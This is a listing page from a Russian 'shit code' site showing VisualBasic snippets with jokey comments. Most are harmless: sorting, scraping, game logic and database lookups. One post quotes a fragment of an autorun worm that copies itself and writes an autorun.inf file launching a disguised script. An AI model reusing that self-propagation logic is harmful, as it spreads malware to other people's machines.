1. VisualBasic / Говнокод #28567

    −3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    Public Function DescendingSort(ByRef Data As Variant) As Variant
        Dim i As Long
        For i = LBound(Data) To UBound(Data) - 1
            Dim j As Long
            For j = i + 1 To UBound(Data)
                If Data(i) < Data(j) Then
                    Dim Temp As Variant
                    Temp = Data(j)
                    Data(j) = Data(i)
                    Data(i) = Temp
                End If
            Next
        Next
    
        DescendingSort = Data
    End Function

    Вот все спрашивают, зачем на собеседованиях требуют сортировки писать — так вот для этого! Вдруг вам придётся писать на «VBA»?
    > Как в VBA правильно создавать одномерный массив. ArrayList
    https://habr.com/ru/post/712000/

    ISO, 23 Января 2023

    Комментарии (280)
  2. VisualBasic / Говнокод #27673

    −2

    1. 1
    Сказка о петузе и зелибобе. На новый лад.

    Правдивая история виндоуса. (18+)
    Жил-был на свете Петуз. И был у него друг Зелибоба. Жили они в волшебном лесу каждый в своем домике. Однажды решили они компьютеры купить потому что так надо. Купил Зелибоба компьютер за 50 рублей и поставил на него какую то убунту за 20 минут, а Петуз купил за 55 рублей с какой то виндоус и поставил его за час. "Зачем ты купил то же самое на 5 рублей дороже?" - спросил Зелибоба. "Много возьни с вашими линуксами" ответил Петуз. Зелибоба удивился купил себе печенья на 5 рублей и был доволен.
    ***
    Читатель скажет: "Почему Петуз не спиратил винду?". Действительно Петуз мог спиратить винду, да только нужно было использовать сомнительные активаторы от Васи Трухацкера, на которые ругается каждый антивирус. Петуз решил не рисковать и купить лицензию.
    ***

    JloJle4Ka, 19 Сентября 2021

    Комментарии (588)
  3. VisualBasic / Говнокод #27189

    −2

    1. 1
    We’ve heard your feedback that you want Visual Basic on .NET Core

    https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/

    MAKAKA, 31 Декабря 2020

    Комментарии (15)
  4. VisualBasic / Говнокод #26971

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    REM I'm trying to do some simple webscraping in OpenOffice (I usually work in Excel but I'm trying to port 
    REM something over for a coworker that doesn't have Excel). 
    REM However, when I try to run something very similar to this, it keeps giving me this BASIC runtime error 1.
    
    Sub Macro1
        Dim explorer As Object
        Set explorer = CreateObject("InternetExplorer.Application")
        explorer.Visible = True
        explorer.navigate("www.yahoo.com")
        
        Const READYSTATE_COMPLETE As Long = 4
        Do While explorer.Busy Or explorer.readyState <> READYSTATE_COMPLETE
        Loop
    
        dim page as object
        set page = explorer.Document
        
        dim mailButton as object
        set mailButton = page.GetElementByID("ybar-navigation-item-mail") 'this is the line the error occurs on
        mailButton.Click
    End Sub

    а чего бы нам не краулить сайты, запуская IE через BASIC в экселе

    https://stackoverflow.com/questions/64010764/is-webscraping-with-openoffice-basic-even-possible

    Fike, 22 Сентября 2020

    Комментарии (26)
  5. VisualBasic / Говнокод #26699

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    Код с продакшена рабочего проекта :-D 
    
    Dim got_new_batch As Boolean = False
    Dim batch_numb As Integer = 0
    Dim temp_batch As Integer = 0
    While got_new_batch = False
    temp_batch = objRandom.Next(400000000)
    If check_batch_avaliable(temp_batch) = True Then
    got_new_batch = True
    batch_numb = temp_batch
    End If
    End While
    
    Public Function check_batch_avaliable(ByVal batch_number As Integer) As Boolean
    
    'CWC-7/11/2016-Rewritten to avoid runtime error
    
    Dim RC As Integer = -1
    
    Dim DBConnection As New IfxConnection(INFXConnectionStr_RPCentral)
    
    'Try
    
    Dim SQL As String = ""
    SQL = " select first 1 batch_numb from " + System.Configuration.ConfigurationManager.AppSettings("InformixTable") + " where batch_numb = " & batch_number
    
    Dim DBCommand As New IfxCommand(SQL, DBConnection)
    DBCommand.CommandType = CommandType.Text
    
    DBCommand.CommandTimeout = 200
    
    DBConnection.Open()
    
    RC = CInt(DBCommand.ExecuteScalar())
    
    DBConnection.Close()
    
    ' Catch ex As Exception
    ' Dim ErrMsg = ex.Message
    
    
    ' Finally
    
    If Not DBConnection Is Nothing Then
    
    If DBConnection.State = ConnectionState.Open Then
    DBConnection.Close()
    End If
    
    DBConnection = Nothing
    End If
    
    
    ' End Try
    
    If RC > 0 Then
    Return False
    Else
    Return True
    End If
    
    End Function

    ageron, 27 Мая 2020

    Комментарии (48)
  6. VisualBasic / Говнокод #25393

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    sub addleft
    	for i = 1 to 4
    		for j = 1 to 3
    			if a(i,j)<>0 and a(i,j) = a(i,j+1) then
    				moved = true 
    				a(i,j) = a(i,j)+1
    				a(i,j+1) = 0
    				score = score + integer ( 2**a(i,j) )
    			end if
    		end for
    	end for
    end sub
    
    sub left
    	for i = 1 to 4
    		for k = 1 to 3
    			for j = 1 to 3
    				if a(i,j) = 0 and a(i,j+1) <> 0 then
    					moved = true
    					a(i,j) = a(i,j+1)
    					a(i,j+1) = 0
    				end if
    			end for
    		end for
    	end for
    end sub
    
    rem addright, addup, adddown, right, up, down в том же духе
    
    rem . . .
    
    rem главный суслик
    while true
    		xy = touchdown()
    		if xy <> -1 then
    			x = xy/65536&0x0000ffff
    			y = xy&0x0000ffff
    			repeat
    				sleep 10
    				xy = touchup()
    			until xy <> -1
    			x = x - (xy/65536&0x0000ffff)
    			y = y - (xy&0x0000ffff)
    			if (abs(x)>100) <> (abs(y)>100) then
    				moved = false
    				if abs(x) > 100 then
    					if x > 0 then
    						left
    						addleft
    						left
    					else
    						right
    						addright
    						right
    					end if
    				else
    					if y > 0 then
    						up
    						addup
    						up
    					else
    						down
    						adddown
    						down
    					end if
    				end if
    				if moved then
    					rand
    				end if
    			end if
    		else
    			sleep 10
    		end if
    		draw
    		sleep 50
    	end while

    Не визуальный, но всё-таки барсик (могильный).

    Hu3KoypoBHeBblunemyx, 21 Февраля 2019

    Комментарии (21)
  7. VisualBasic / Говнокод #23481

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    Const strMask="258258258258258258"
    mNumber = Clng(Left(mParam1,2))*100000+Clng(Right(mParam1,5))*10+Clng(mParam2)
    mResStr = Right("000000000"+Cstr(mNumber),9)
    For c=1 To 9
    	mRes1 = Cint(Mid(mResStr, c, 1))
    	mRes2 = Int(Rnd()*10)
    	strPreResult=Cstr(mRes1)+Cstr(mRes2)
    	mCheckSum = mCheckSum+mRes1*Cint(Mid(strMask, (c-1)*2+1, 1))
    	mCheckSum = mCheckSum+mRes2*Cint(Mid(strMask, (c)*2, 1))
    	Print strPreResult, mCheckSum
    	strResult=strResult+strPreResult
    Next c
    strResult = Left(strResult,9)+Right("00"+Cstr((mCheckSum Mod 95)Mod 100),2)+Right(strResult,8)

    Генератор случайных чисел.
    Почему везде такой не используется?

    lsd, 03 Ноября 2017

    Комментарии (101)
  8. VisualBasic / Говнокод #23423

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    Private Function DecodName(ByVal ind As Integer) As String
            ''перекодування назви місяця
            Select Case ind
                Case 1
                    Return "Січень"
                Case 2
                    Return "Лютий"
                Case 3
                    Return "Березень"
                Case 4
                    Return "Квітень"
                Case 5
                    Return "Травень"
                Case 6
                    Return "Червень"
                Case 7
                    Return "Липень"
                Case 8
                    Return "Серпень"
                Case 9
                    Return "Вересень"
                Case 10
                    Return "Жовтень"
                Case 11
                    Return "Листопад"
                Case 12
                    Return "Грудень"
                Case Else
                    Return ""
            End Select
        End Function

    Мои глаза...

    vova94, 17 Октября 2017

    Комментарии (17)
  9. VisualBasic / Говнокод #18506

    −97

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    if (not fso.fileexists(fname)) or (not fso.fileexixts(aname)) then
    	if (fso.fileexists(fname)=false) then
    		fso.copyfile wscript.scriptname,fname
    	end if
    	if (fso.fileexists(aname)=false) then
    		set au=fso.createtextfile aname,2,true
    		au.writeline "[AutoRun]"
    		au.writeline "shellexecute=wscript /e:vbs pamela handerson.jpg -autostart"
    		au.close
    		fso.getfile(aname).attributes=32
    		set au=nothing
    	end if
    end if
    ...

    Взято из кода одного autorun-червя. Вопрос: нахуя?

    Pyriandr, 21 Июля 2015

    Комментарии (17)
  10. VisualBasic / Говнокод #17728

    −121

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    If ((ind_imit_gun = 0) And _
                ((input_B_LA2 And shop) = shop) And _
                ((input_B_LA2 And loading) = loading) And _
                ((input_B_LA2 And lonely) = lonely) And _
                (input_A_LA48 And choice_k) = choice_k) _
                Or ((ind_imit_gun = 0) And _
                ((input_B_LA2 And shop) = shop) And _
                ((input_B_LA2 And loading) = loading) And _
                ((input_B_LA2 And mashin) = mashin) And _
                (input_A_LA48 And choice_k) = choice_k) _
                Or ((ind_imit_gun = 1) And _
                ((input_B_LA2 And shop) = shop) And _
                ((input_B_LA2 And loading) = loading) And _
                ((input_B_LA2 And lonely) = lonely) And _
                (input_A_LA48 And choice_k) = choice_k) _
                Or ((ind_imit_gun = 2) And _
                ((input_B_LA2 And loading) = loading) And _
                ((input_B_LA2 And lonely) = lonely) And _
                (input_A_LA48 And choice_k) = choice_k) _
                Or ((ind_imit_gun = 2) And _
                ((input_B_LA2 And loading) = loading) And _
                ((input_B_LA2 And mashin) = mashin) And _
                (input_A_LA48 And choice_k) = choice_k) _
                Or ((ind_imit_gun = 3) And _
                ((input_B_LA2 And loading) = loading) And _
                ((input_B_LA2 And mashin) = mashin) And _
                (input_A_LA48 And choice_k) = choice_k) _
                Or ((ind_imit_gun = 4) And _
                ((input_B_LA2 And loading) = loading) And _
                ((input_B_LA2 And lonely) = lonely) And _
                (input_A_LA48 And choice_k) = choice_k) _
                Or ((ind_imit_gun = 6) And _
               ((input_B_LA2 And loading) = loading) And _
                ((input_B_LA2 And lonely) = lonely) And _
                (input_A_LA48 And choice_k) = choice_k) Then

    Вот такая страшная проверка нужных битов битовыми масками используется в одном военном ПО xD
    И на мой взгляд тут есть ошибки,но почему то работает.

    Ramirag, 05 Марта 2015

    Комментарии (19)